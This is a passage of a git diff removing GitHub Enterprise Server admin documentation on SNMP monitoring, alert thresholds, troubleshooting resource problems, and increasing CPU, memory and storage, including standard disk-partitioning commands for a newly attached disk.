| The hosts notion of the local date and time of day. | -| hrSystemUptime.0 | 1.3.6.1.2.1.25.1.1.0 | How long it's been since the host was last initialized. | -| hrMemorySize.0 | 1.3.6.1.2.1.25.2.2.0 | The amount of RAM on the host. | -| hrSystemProcesses.0 | 1.3.6.1.2.1.25.1.6.0 | The number of process contexts currently loaded or running on the host. | -| hrStorageUsed.1 | 1.3.6.1.2.1.25.2.3.1.6.1 | The amount of storage space consumed on the host, in hrStorageAllocationUnits. | -| hrStorageAllocationUnits.1 | 1.3.6.1.2.1.25.2.3.1.4.1 | The size, in bytes, of an hrStorageAllocationUnit | - -For example, to query for `hrMemorySize` with SNMP v3, run the following command on a separate workstation with SNMP support in your network: - -```shell -# username is the unique username of your SNMP v3 user -# auth password is the authentication password -# privacy password is the privacy password -# hostname is the IP or domain of your Enterprise instance -$ snmpget -v 3 -u USERNAME -l authPriv \ - -A "AUTH PASSWORD" -a SHA \ - -X "PRIVACY PASSWORD" -x AES \ - -O e HOSTNAME HOST-RESOURCES-MIB::hrMemorySize.0 -``` - -With SNMP v2c, to query for `hrMemorySize`, run the following command on a separate workstation with SNMP support in your network: - -```shell -# community-string is your community string -# hostname is the IP or domain of your Enterprise instance -snmpget -v 2c -c COMMUNITY-STRING HOSTNAME HOST-RESOURCES-MIB::hrMemorySize.0 -``` - -> [!NOTE] -> To prevent leaking information about services running on your appliance, we exclude the `hrSWRun` table (1.3.6.1.2.1.25.4) from the resulting SNMP reports unless you're using the `authPriv` security level with SNMP v3. If you're using the `authPriv` security level, we include the `hrSWRun` table. - -For more information on OID mappings for common system attributes in SNMP, see [Linux SNMP OID’s for CPU, Memory and Disk Statistics](http://www.linux-admins.net/2012/02/linux-snmp-oids-for-cpumemory-and-disk.html). diff --git a/content/admin/monitoring-and-managing-your-instance/monitoring-your-instance/recommended-alert-thresholds.md b/content/admin/monitoring-and-managing-your-instance/monitoring-your-instance/recommended-alert-thresholds.md deleted file mode 100644 index 413d055287c3..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/monitoring-your-instance/recommended-alert-thresholds.md +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: Recommended alert thresholds -intro: 'You can configure an alert to notify you of system resource issues before they affect your {% data variables.product.prodname_ghe_server %} appliance''s performance.' -redirect_from: - - /enterprise/admin/guides/installation/about-recommended-alert-thresholds - - /enterprise/admin/installation/about-recommended-alert-thresholds - - /enterprise/admin/installation/recommended-alert-thresholds - - /enterprise/admin/enterprise-management/recommended-alert-thresholds - - /admin/enterprise-management/recommended-alert-thresholds - - /admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds - - /admin/monitoring-managing-and-updating-your-instance/monitoring-your-appliance/recommended-alert-thresholds - - /admin/monitoring-managing-and-updating-your-instance/monitoring-your-instance/recommended-alert-thresholds -versions: - ghes: '*' -type: reference -topics: - - Enterprise - - Infrastructure - - Monitoring - - Performance - - Storage -shortTitle: Recommended alert thresholds ---- - -## About recommended alert thresholds - -You can configure external monitoring systems to alert you to storage, CPU, and memory usage that may cause problems with {% data variables.location.product_location %}. For more information, see [AUTOTITLE](/admin/enterprise-management/monitoring-your-appliance/setting-up-external-monitoring) and [AUTOTITLE](/admin/monitoring-and-managing-your-instance/monitoring-your-instance/about-the-monitor-dashboards). - -## Monitoring storage - -We recommend that you monitor both the root and user storage devices and configure an alert with values that allow for ample response time when available disk space is low. - -| Severity | Threshold | -| -------- | --------- | -| **Warning** | Disk use exceeds 60% of total available | -| **Critical** | Disk use exceeds 75% of total available | - -You can adjust these values based on the total amount of storage allocated, historical growth patterns, and expected time to respond. We recommend over-allocating storage resources to allow for growth and prevent the downtime required to allocate additional storage. - -## Monitoring CPU and load average usage - -Although it is normal for CPU usage to fluctuate based on resource-intense Git operations, we recommend configuring an alert for abnormally high CPU utilization, as prolonged spikes can mean your instance is under-provisioned. Additionally, we recommend monitoring CPU utilization during a regular work week when the instance is in a healthy state to establish a baseline that can be used as a reference. - -| Severity | Threshold | -| -------- | --------- | -| **Warning** | 20% above the baseline | -| **Critical** | 40% above the baseline | - -We also recommend that you monitor virtualization "steal" time to ensure that other virtual machines running on the same host system are not using all of the instance's resources. - -## Monitoring memory usage - -The amount of physical memory allocated to {% data variables.location.product_location %} can have a large impact on overall performance and application responsiveness. The system is designed to make heavy use of the kernel disk cache to speed up Git operations. We recommend that the amount of physical memory assigned to the processes fit within 50% of total available RAM at peak usage. - -| Severity | Threshold | -| -------- | --------- | -| **Warning** | Sustained memory usage exceeds 50% of total available memory | -| **Critical** | Sustained memory usage exceeds 70% of total available memory | - -Nevertheless, for cluster installations, we recommend following a similar approach to CPU monitoring: establish a baseline that defines what is considered normal usage, and set the threshold accordingly. This threshold may also vary between roles. - -If memory is exhausted, the kernel OOM killer will attempt to free memory resources by forcibly killing RAM heavy application processes, which could result in a disruption of service. We recommend allocating more memory to the virtual machine than is required in the normal course of operations. diff --git a/content/admin/monitoring-and-managing-your-instance/monitoring-your-instance/setting-up-external-monitoring.md b/content/admin/monitoring-and-managing-your-instance/monitoring-your-instance/setting-up-external-monitoring.md deleted file mode 100644 index 7c216d3a099d..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/monitoring-your-instance/setting-up-external-monitoring.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Setting up external monitoring -intro: 'You can monitor basic system resources on your {% data variables.product.prodname_ghe_server %} appliance using either the SNMP or collectd statistics collection protocols.' -redirect_from: - - /enterprise/admin/installation/setting-up-external-monitoring - - /enterprise/admin/enterprise-management/setting-up-external-monitoring - - /admin/enterprise-management/setting-up-external-monitoring - - /admin/enterprise-management/monitoring-your-appliance/setting-up-external-monitoring - - /admin/monitoring-managing-and-updating-your-instance/monitoring-your-appliance/setting-up-external-monitoring - - /admin/monitoring-managing-and-updating-your-instance/monitoring-your-instance/setting-up-external-monitoring -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Infrastructure - - Monitoring - - Performance -shortTitle: Set up external monitoring ---- -## About SNMP - -Simple Network Management Protocol (SNMP) is a widely supported method of monitoring network devices and servers. SNMP is disabled by default but can be configured through the {% data variables.product.prodname_enterprise %} monitor dashboard. UDP port 161 must be open and reachable from your network management station. For more information, see [AUTOTITLE](/admin/enterprise-management/monitoring-your-appliance/monitoring-using-snmp). - -## About collectd - -collectd is an open source statistics collection and reporting daemon with built-in support for writing to RRD files. Statistics on CPU utilization, memory and disk consumption, network interface traffic and errors, and system load can be forwarded to an external collectd server where graphs, analysis, and alerting may be configured using a wide range of available tools and plugins. To configure `collectd` forwarding, see [AUTOTITLE](/admin/enterprise-management/monitoring-your-appliance/configuring-collectd). - -Additionally, the monitoring tools built into underlying virtualization platforms may also be used for basic monitoring and alerting of system resources. For more information, see [Amazon CloudWatch](https://aws.amazon.com/cloudwatch/) and [VMware vSphere](https://docs.vmware.com/en/VMware-vSphere/index.html) documentation. - -{% ifversion prometheus-metrics-exporter %} - -## About the Prometheus metrics exporter - -The Prometheus metrics exporter allows you to integrate {% data variables.product.prodname_ghe_server %} metrics into your observability pipeline and tooling. You can scrape metrics in a Prometheus-compatible format via the `/metrics` API at regular intervals and feed them into your observability system. - -To configure the Prometheus metrics exporter and scraping, see [AUTOTITLE](/admin/monitoring-and-managing-your-instance/monitoring-your-instance/exporting-and-scraping-prometheus-metrics). - -{% endif %} diff --git a/content/admin/monitoring-and-managing-your-instance/monitoring-your-instance/troubleshooting-resource-allocation-problems.md b/content/admin/monitoring-and-managing-your-instance/monitoring-your-instance/troubleshooting-resource-allocation-problems.md deleted file mode 100644 index 975f78c3b226..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/monitoring-your-instance/troubleshooting-resource-allocation-problems.md +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: Troubleshooting resource allocation problems -intro: Troubleshooting common resource allocation issues that may occur on your {% data variables.product.prodname_ghe_server %} appliance. -redirect_from: - - /enterprise/admin/installation/troubleshooting-resource-allocation-problems -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Fundamentals - - Infrastructure - - Monitoring - - Performance - - Troubleshooting -shortTitle: Troubleshooting resource allocation problems ---- - -## Troubleshooting common resource allocation problems on your appliance - -> [!NOTE] -> Regularly making repeated requests (polling) to {% data variables.location.product_location %} from continuous integration (CI) systems, build servers, or any other clients (such as Git or API clients) can overwhelm the system. This can lead to a denial of service (DoS) attack, causing significant performance issues and resource saturation. -> -> To avoid these problems, we strongly recommend using webhooks to receive updates. Webhooks allow the system to push updates to you automatically, eliminating the need for constant polling. Additionally, consider using conditional requests and caching strategies to minimize unnecessary requests. Avoid running jobs in large, simultaneous batches (thundering herds) and instead wait for webhook events to trigger actions. -> -> For more information, see [AUTOTITLE](/get-started/exploring-integrations/about-webhooks). - -We recommend using the monitor dashboard to stay informed on your appliance's resource health and make decisions on how to fix high usage issues, such as the ones outlined on this page. - -For system-critical issues, and prior to making modifications to your appliance, we highly recommend contacting us by visiting {% data variables.contact.contact_ent_support %} and including your support bundle. For more information, see [Providing data to {% data variables.product.prodname_enterprise %} Support](/enterprise/{{ currentVersion}}/admin/guides/enterprise-support/providing-data-to-github-support#creating-and-sharing-support-bundles). - -## High CPU usage - -### Possible Causes - -* CPU of your instance is under-provisioned for your workload. -* Upgrading to a new {% data variables.product.prodname_ghe_server %} releases often increases CPU and memory usage due to new features. Additionally, post-upgrade migration or reconciliation background jobs can temporarily degrade performance until they complete. -* Elevated requests against Git or API. Increased requests to Git or API can occur due to various factors, such as excessive repository cloning, CI/CD processes, or unintentional usage by API scripts or new workloads. -* Increased number of [GitHub Actions jobs](/admin/monitoring-and-managing-your-instance/monitoring-your-instance/about-the-monitor-dashboards#actions). -* Elevated amount of Git commands executed a large repository. - -### Recommendations - -* Ensure CPU cores are [provisioned appropriately](/admin/installing-your-enterprise-server/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws#minimum-recommended-requirements). -* [Set alert thresholds](/admin/monitoring-and-managing-your-instance/monitoring-your-instance/recommended-alert-thresholds). -* After an upgrade, check whether background upgrade jobs have completed, by running `ghe-check-background-upgrade-jobs`. -* Use webhooks instead of pulling. -* Use [API rate-limiting](/admin/configuring-settings/configuring-user-applications-for-your-enterprise/configuring-rate-limits). -* Analyze Git usage by checking [current operations](/admin/administering-your-instance/administering-your-instance-from-the-command-line/command-line-utilities#ghe-btop) and [Git traffic](/admin/administering-your-instance/administering-your-instance-from-the-command-line/command-line-utilities#ghe-governor). - -## High memory usage - -### Possible causes - -* Memory of your instance is under-provisioned. -* Elevated requests against Git or API. Increased requests to Git or API can occur due to various factors, such as excessive repository cloning, CI/CD processes, or unintentional usage by API scripts or new workloads. -* Individual services exceeding their expected memory usage and running Out Of Memory (OOM). -* Increased background job processing. - -### Recommendations - -* Memory of your instance is under-provisioned for your workload, data volume, given usage over time may exceed the [minimum recommended requirements](/admin/installing-your-enterprise-server/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws#minimum-recommended-requirements). -* Within the Nomad graphs, identify services with out of memory trends which are often followed by free memory trends after they get restarted. For more information, see [AUTOTITLE](/enterprise-server@3.14/admin/monitoring-and-managing-your-instance/monitoring-your-instance/about-the-monitor-dashboards#appliance-specific-system-services). -* Check logs for processes going out of memory by running `rg -z 'kernel: Out of memory: Killed process' /var/log/syslog*` (for this, first log in to the administrative shell using SSH - see [AUTOTITLE](/enterprise-server@3.14/admin/administering-your-instance/administering-your-instance-from-the-command-line/accessing-the-administrative-shell-ssh).) -* Ensure the correct ratio of memory to CPU services is met (at least `6.5:1`). -* Check the amount of tasks queued for background processing - see [AUTOTITLE](/enterprise-server@3.14/admin/monitoring-and-managing-your-instance/monitoring-your-instance/about-the-monitor-dashboards#background-jobs). - -## Low disk space availability - -Both storage volumes, the one mounted to the root filesystem path (`/`) and the other to the user filesystem path (`/data/user`) can cause problems to the stability of your instance if low disk space is available. - -Keep in mind that the root storage volume is split into two equally-sized partitions. One of the partitions will be mounted as the root filesystem (`/`). The other partition is only mounted during upgrades and rollbacks of upgrades as `/mnt/`upgrade, to facilitate easier rollbacks if necessary. For more information, see [AUTOTITLE](/admin/overview/system-overview#storage-architecture). - -### Possible Causes - -* Service failure causing increased amount of logs -* High disk usage through organic traffic - -### Recommendations - -* Check disk usage of `/var/log` folder by running (`sudo du -csh /var/log/*`) or manually force a log rotation (`sudo logrotate -f /etc/logrotate.conf`). -* Check the disk for large files that have been deleted but still have open file handles (`ghe-check-disk-usage`). -* Increase disk storage capacity - see [AUTOTITLE](/enterprise-server@3.14/admin/monitoring-and-managing-your-instance/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity). - -## Higher than usual response times - -### Possible causes - -* Elevated requests against Git or API. Increased requests to Git or API can occur due to various factors, such as excessive repository cloning, CI/CD processes, or unintentional usage by API scripts or new workloads. -* Slow database queries. -* Post upgrade ElasticSearch elevated service resource usage. -* Reaching IOPS quotas on disk and/or heavy IO contention. -* Saturated workers. -* Webhook delivery delays. - -### Recommendations - -* Look for spikes or sustained numbers in the **Disk pending operations: Number of operations queued** graphs. -* Check the **App request/response** panel to see if only certain services are affected. -* After an upgrade, check whether background upgrade jobs have completed, by running `ghe-check-background-upgrade-jobs`. -* Check the database logs for slow queries in `/var/log/github/exceptions.log` (for this, first log in to the administrative shell using SSH - see [AUTOTITLE](/enterprise-server@3.14/admin/administering-your-instance/administering-your-instance-from-the-command-line/accessing-the-administrative-shell-ssh)), for example by checking for Top 10 slow requests by URL: `grep SlowRequest github-logs/exceptions.log | jq '.url' | sort | uniq -c | sort -rn | head`. -* Check the **Queued requests** graph for certain workers and consider adjusting their active worker count. -* Increase the storage disks to ones with higher IOPS/throughput. -* Check the amount of tasks queued for background processing - see [AUTOTITLE](/enterprise-server@3.14/admin/monitoring-and-managing-your-instance/monitoring-your-instance/about-the-monitor-dashboards#background-jobs). - -## Elevated error rates - -### Possible Causes - -* Elevated requests against Git or API. Increased requests to Git or API can occur due to various factors, such as excessive repository cloning, CI/CD processes, or unintentional usage by API scripts or new workloads. -* Failing `haproxy` service or non-availability of individual services. -* Failed repository network maintenance over time. - -### Recommendations - -* Check the **App request/response** panel to see if only certain services are affected. -* Check the `haproxy` logs and try to identify if bad actors may be cause. -* Check for failed repository network maintenance jobs (visit `http(s)://[hostname]/stafftools/networks`). diff --git a/content/admin/monitoring-and-managing-your-instance/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md b/content/admin/monitoring-and-managing-your-instance/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md deleted file mode 100644 index cdc8a295d150..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md +++ /dev/null @@ -1,126 +0,0 @@ ---- -title: Increasing CPU or memory resources -intro: 'You can increase the CPU or memory resources for the virtual machine (VM) that runs {% data variables.location.product_location %}.' -redirect_from: - - /enterprise/admin/installation/increasing-cpu-or-memory-resources - - /enterprise/admin/enterprise-management/increasing-cpu-or-memory-resources - - /admin/enterprise-management/increasing-cpu-or-memory-resources - - /admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources - - /admin/monitoring-managing-and-updating-your-instance/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Infrastructure - - Performance -shortTitle: Increase CPU or memory ---- - -## About increasing CPU or memory resources - -You can accommodate more resource-intensive workloads on {% data variables.location.product_location %} by increasing the VM's CPU or memory resources. - -{% data reusables.enterprise_installation.warning-on-upgrading-physical-resources %} - -{% data reusables.enterprise_installation.warning-on-scaling %} - -## Adding CPU or memory resources on AWS - -To add CPU or memory resources for an instance on AWS, you must change the instance's type. You must have access to your company's AWS infrastructure, and you must be familiar with using either the AWS management console or the `aws ec2` command-line interface to manage EC2 instances. For more information, see [Change the instance type](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-resize.html) in the AWS documentation. - -You can review resizing considerations, see supported instance types, and learn how to resize an instance on AWS. - -* [Resizing considerations for AWS](/admin/monitoring-and-managing-your-instance/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources#resizing-considerations-for-aws) -* [Supported instance types on AWS](/admin/monitoring-and-managing-your-instance/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources#supported-instance-types-on-aws) -* [Resizing an instance on AWS](/admin/monitoring-and-managing-your-instance/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources#resizing-an-instance-on-aws) - -### Resizing considerations for AWS - -Before increasing CPU or memory resources for {% data variables.location.product_location %}, review the following recommendations. - -* **Scale your memory with CPUs**. {% data reusables.enterprise_installation.increasing-cpus-req %} -* **Assign an Elastic IP address to the instance**. If you haven't assigned an Elastic IP to your instance, you'll have to adjust the DNS A records for your {% data variables.product.prodname_ghe_server %} host after the restart to account for the change in public IP address. Once your instance restarts, the instance keeps the Elastic IP if you launched the instance in a virtual private cloud (VPC). If you create the instance in an EC2-Classic network, you must manually reassign the Elastic IP to the instance. - -### Supported instance types on AWS - -{% data reusables.enterprise_installation.increase-resources-view-specifications %} - -{% data reusables.enterprise_installation.aws-instance-recommendation %} - -### Resizing an instance on AWS - -To increase the resources available to a {% data variables.product.prodname_ghe_server %} instance on AWS, you must shut down the instance, change the instance's type, then restart the instance. - -1. If your instances runs in EC2-Classic, note both the Elastic IP address associated with the instance and the instance's ID. -{% data reusables.enterprise_installation.increase-resources-communicate-and-enable-maintenance-mode %} -{% data reusables.enterprise_installation.increase-resources-shut-down %} -1. On AWS, change the instance type. -1. Start the instance. -1. If your instance runs in EC2-Classic, after you restart the instance, re-associate the Elastic IP address. -{% data reusables.enterprise_installation.configuration-recognized %} -{% data reusables.enterprise_installation.increase-resources-test-in-maintenance-mode %} -{% data reusables.enterprise_installation.increase-resources-disable-message-and-maintenance-mode %} - -## Adding CPU or memory resources on Microsoft Azure - -To add CPU or memory resources for an instance on Microsoft Azure, you must change the instance's size. You must have access to your company's Microsoft Azure infrastructure, and you must be familiar with the Azure Portal, Azure CLI, or Azure PowerShell to manage Azure instances. For more information, see [Change the size of a virtual machine](https://learn.microsoft.com/en-us/azure/virtual-machines/resize-vm?tabs=portal) on Microsoft Learn. - -You can review resizing considerations, see supported instance types, and learn how to resize an instance on Microsoft Azure. - -* [Resizing considerations for Microsoft Azure](/admin/monitoring-and-managing-your-instance/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources#resizing-considerations-for-microsoft-azure) -* [Supported instance types on Microsoft Azure](/admin/monitoring-and-managing-your-instance/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources#supported-instance-types-on-microsoft-azure) -* [Resizing an instance on Microsoft Azure](/admin/monitoring-and-managing-your-instance/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources#resizing-an-instance-on-microsoft-azure) - -### Resizing considerations for Microsoft Azure - -Before increasing CPU or memory resources for {% data variables.location.product_location %}, review the following recommendations. - -* **Scale your memory with CPUs**. {% data reusables.enterprise_installation.increasing-cpus-req %} -* **Assign a static IP address to the instance**. If you haven't assigned a static IP to your instance, you might have to adjust the DNS A records for your {% data variables.product.prodname_ghe_server %} host after the restart to account for the change in IP address. - -### Supported instance types on Microsoft Azure - -{% data reusables.enterprise_installation.increase-resources-view-specifications %} - -{% data reusables.enterprise_installation.azure-instance-recommendation %} - -### Resizing an instance on Microsoft Azure - -To increase the resources available to a {% data variables.product.prodname_ghe_server %} instance on Microsoft Azure, you must change the VM's size. Changing the VM's size will cause the VM to restart. In some cases, you must deallocate the VM first. You may need to deallocate the VM if the new size is not available on the hardware cluster that is currently hosting the VM. - -{% data reusables.enterprise_installation.increase-resources-communicate-and-enable-maintenance-mode %} -{% data reusables.enterprise_installation.increase-resources-shut-down %} -1. On Azure, to resize the VM, follow the instructions in [Change the size of a virtual machine](https://learn.microsoft.com/en-us/azure/virtual-machines/resize-vm?tabs=portal) on Microsoft Learn. -{% data reusables.enterprise_installation.configuration-recognized %} -{% data reusables.enterprise_installation.increase-resources-test-in-maintenance-mode %} -{% data reusables.enterprise_installation.increase-resources-disable-message-and-maintenance-mode %} - -## Adding CPU or memory resources for OpenStack KVM - -To increase the resources available to a {% data variables.product.prodname_ghe_server %} instance on OpenStack KVM, you must have access to your company's OpenStack KVM infrastructure, and you must stop the VM and then select a new instance flavor. - -{% data reusables.enterprise_installation.increasing-cpus-req %} - -1. Using OpenStack KVM, take a snapshot of the current instance. -{% data reusables.enterprise_installation.increase-resources-communicate-and-enable-maintenance-mode %} -{% data reusables.enterprise_installation.increase-resources-shut-down %} -1. On OpenStack KVM, select a new instance flavor that has the desired CPU or memory resources. -{% data reusables.enterprise_installation.configuration-recognized %} -{% data reusables.enterprise_installation.increase-resources-test-in-maintenance-mode %} -{% data reusables.enterprise_installation.increase-resources-disable-message-and-maintenance-mode %} - -## Adding CPU or memory resources for VMware ESXi - -To increase the resources available to a {% data variables.product.prodname_ghe_server %} instance on VMware, you must have access to your company's VMware infrastructure, and you must stop the VM and then adjust the resources in VMWare ESXi. - -{% data reusables.enterprise_installation.increasing-cpus-req %} - -{% data reusables.enterprise_installation.increase-resources-communicate-and-enable-maintenance-mode %} -{% data reusables.enterprise_installation.increase-resources-shut-down %} -1. To the VM's settings on the VMware ESXi host using the vSphere Client, select the VM, then click **Edit Settings**. -1. Under "Hardware", adjust the CPU or memory resources allocated to the VM. -1. To start the virtual machine, click **OK**. -{% data reusables.enterprise_installation.configuration-recognized %} -{% data reusables.enterprise_installation.increase-resources-test-in-maintenance-mode %} -{% data reusables.enterprise_installation.increase-resources-disable-message-and-maintenance-mode %} diff --git a/content/admin/monitoring-and-managing-your-instance/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md b/content/admin/monitoring-and-managing-your-instance/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md deleted file mode 100644 index 8735b21dec44..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md +++ /dev/null @@ -1,184 +0,0 @@ ---- -title: Increasing storage capacity -intro: 'You can increase or change the amount of storage available for Git repositories, databases, search indexes, and other persistent application data.' -redirect_from: - - /enterprise/admin/installation/increasing-storage-capacity - - /enterprise/admin/enterprise-management/increasing-storage-capacity - - /admin/enterprise-management/increasing-storage-capacity - - /admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity - - /admin/monitoring-managing-and-updating-your-instance/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Infrastructure - - Performance - - Storage -shortTitle: Increase storage capacity ---- -{% data reusables.enterprise_installation.warning-on-upgrading-physical-resources %} - -As more users join {% data variables.location.product_location %}, you may need to resize your storage volume. Refer to the documentation for your virtualization platform for information on resizing storage. - -## Requirements and recommendations - -> [!NOTE] -> Before resizing any storage volume, put your instance in maintenance mode. You can validate changes by configuring an IP exception list to allow access from specified IP addresses. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode). - -### Minimum recommended requirements - -{% ifversion ghes > 3.14 %}{% data reusables.enterprise_installation.hardware-rec-table %}{% else %}{% data reusables.enterprise_installation.hardware-rec-table-legacy %}{% endif %} - -Root storage refers to the total size of your instance's root disk. The available space on the root filesystem is 50% of the total storage available on the root disk. For more information, see [AUTOTITLE](/admin/overview/system-overview#storage-architecture). - -## Increasing the data partition size - -1. Resize the existing user volume disk using your virtualization platform's tools. -{% data reusables.enterprise_installation.ssh-into-instance %} -1. Put the appliance in maintenance mode. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode). -1. Reboot the appliance to detect the new storage allocation: - - ```shell - sudo reboot - ``` - -1. Run the `ghe-storage-extend` command to expand the `/data/user` filesystem: - - ```shell - ghe-storage-extend - ``` - -1. Ensure system services are functioning correctly, then release maintenance mode. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode). - -## Increasing the root partition size using a new appliance - -1. Set up a new {% data variables.product.prodname_ghe_server %} instance with a larger root disk using the same version as your current appliance. For more information, see [AUTOTITLE](/admin/installation/setting-up-a-github-enterprise-server-instance). -1. Shut down the current appliance: - - ```shell - sudo poweroff - ``` - -1. Detach the data disk from the current appliance using your virtualization platform's tools. -1. Attach the data disk to the new appliance with the larger root disk. - -## Increasing the root partition size using an existing appliance - -> [!WARNING] -> Before increasing the root partition size, you must put your instance in maintenance mode. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode). - -{% ifversion ghes > 3.13 %} -Before resizing the root partition, determine whether the appliance has a GUID partition table. - -On instances created from GHES releases 3.14 and later, follow the instructions for [Increasing the root partition size on a GUID partition table](#increasing-the-root-partition-size-on-a-guid-partition-table). - -On instances created from GHES releases prior to 3.14, follow the instructions for [Increasing the root partition size on a legacy partition table](#increasing-the-root-partition-size-on-a-legacy-partition-table). - -To verify the partition table type, run the following command. The result should be either `gpt` or `msdos`. - - ```shell - sudo lsblk -no pttype $(findmnt -no source /) - ``` - -{% endif %} - -1. Attach a new disk to your {% data variables.product.prodname_ghe_server %} appliance. -1. Run the `lsblk` command to identify the new disk's device name. - -{% ifversion ghes > 3.13 %} - -### Increasing the root partition size on a GUID partition table - -1. Back up your existing EFI boot partition: - - ```shell - sudo dd if=/dev/disk/by-label/EFIBOOT of=EFIBOOT.bak bs=1M - ``` - -1. Run the `parted` command to format the disk, substituting your device name for `/dev/xvdg`: - - ```shell - sudo parted /dev/xvdg mklabel gpt - sudo parted -a optimal /dev/xvdg mkpart bios fat32 1MiB 2MiB - sudo parted /dev/xvdg set 1 bios_grub on - sudo parted -a optimal /dev/xvdg mkpart efi fat32 2MiB 512MiB - sudo parted /dev/xvdg set 2 esp on - sudo parted -a optimal /dev/xvdg mkpart primary 512MiB 50% - sudo parted /dev/xvdg set 3 boot off - sudo parted /dev/xvdg set 3 esp off - sudo parted -a optimal /dev/xvdg mkpart primary 50% 100% - ``` - -1. If your appliance is configured for high-availability or geo-replication, to stop replication run the `ghe-repl-stop` command on each replica node: - - ```shell - ghe-repl-stop - ``` - -1. To install the {% data variables.product.prodname_ghe_server %} software on the newly partitioned disk, run the `ghe-upgrade` command. You must replace **PACKAGE-NAME.pkg** with the path to a platform-specific upgrade package that matches the version of {% data variables.product.prodname_ghe_server %} already running on the appliance. You cannot use a universal hotpatch upgrade package, such as `github-enterprise-2.11.9.hpkg`. After the `ghe-upgrade` command completes, application services will automatically terminate. - - ```shell - ghe-upgrade PACKAGE-NAME.pkg -s -t /dev/xvdg3 - ``` - -1. Run these commands on the secondary partitions of the newly added disk: - - ```shell - sudo dd if=/dev/disk/by-label/EFIBOOT of=/dev/xvdg2 bs=1M - sudo mkfs.ext4 -L fallback /dev/xvdg4 - ``` - -1. Shut down the appliance: - - ```shell - sudo poweroff - ``` - -1. In the hypervisor, remove the old root disk and attach the new root disk at the same location as the old root disk. -1. Start the appliance. -1. Ensure system services are functioning correctly, then release maintenance mode. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode). - -If your appliance is configured for high-availability or geo-replication, remember to start replication on each replica node using `ghe-repl-start` after the storage on all nodes has been upgraded. - -### Increasing the root partition size on a legacy partition table - -{% endif %} - -1. Run the `parted` command to format the disk, substituting your device name for `/dev/xvdg`: - - ```shell - sudo parted /dev/xvdg mklabel msdos - sudo parted /dev/xvdg mkpart primary ext4 0% 50% - sudo parted /dev/xvdg mkpart primary ext4 50% 100% - ``` - -1. If your appliance is configured for high-availability or geo-replication, to stop replication run the `ghe-repl-stop` command on each replica node: - - ```shell - ghe-repl-stop - ``` - -1. To install the {% data variables.product.prodname_ghe_server %} software on the newly partitioned disk, run the `ghe-upgrade` command. You must replace **PACKAGE-NAME.pkg** with the path to a platform-specific upgrade package that matches the version of {% data variables.product.prodname_ghe_server %} already running on the appliance. You cannot use a universal hotpatch upgrade package, such as `github-enterprise-2.11.9.hpkg`. After the `ghe-upgrade` command completes, application services will automatically terminate. - - ```shell - ghe-upgrade PACKAGE-NAME.pkg -s -t /dev/xvdg1 - ``` - -1. Run the command on the secondary partition of the newly added disk: - - ```shell - sudo mkfs.ext4 -L fallback /dev/xvdg2 - ``` - -1. Shut down the appliance: - - ```shell - sudo poweroff - ``` - -1. In the hypervisor, remove the old root disk and attach the new root disk at the same location as the old root disk. -1. Start the appliance. -1. Ensure system services are functioning correctly, then release maintenance mode. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode). - -If your appliance is configured for high-availability or geo-replication, remember to start replication on each replica node using `ghe-repl-start` after the storage on all nodes has been upgraded. diff --git a/content/admin/monitoring-and-managing-your-instance/updating-the-virtual-machine-and-physical-resources/index.md b/content/admin/monitoring-and-managing-your-instance/updating-the-virtual-machine-and-physical-resources/index.md deleted file mode 100644 index 49f891a1ea0c..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/updating-the-virtual-machine-and-physical-resources/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Updating the virtual machine and physical resources -intro: 'Learn how to increase specific resources for the virtual machine that runs your {% data variables.product.prodname_ghe_server %} instance.' -redirect_from: - - /enterprise/admin/guides/installation/upgrading-the-vm - - /enterprise/admin/guides/installation/upgrading-physical-resources - - /enterprise/admin/installation/updating-the-virtual-machine-and-physical-resources - - /enterprise/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources - - /admin/enterprise-management/updating-the-virtual-machine-and-physical-resources - - 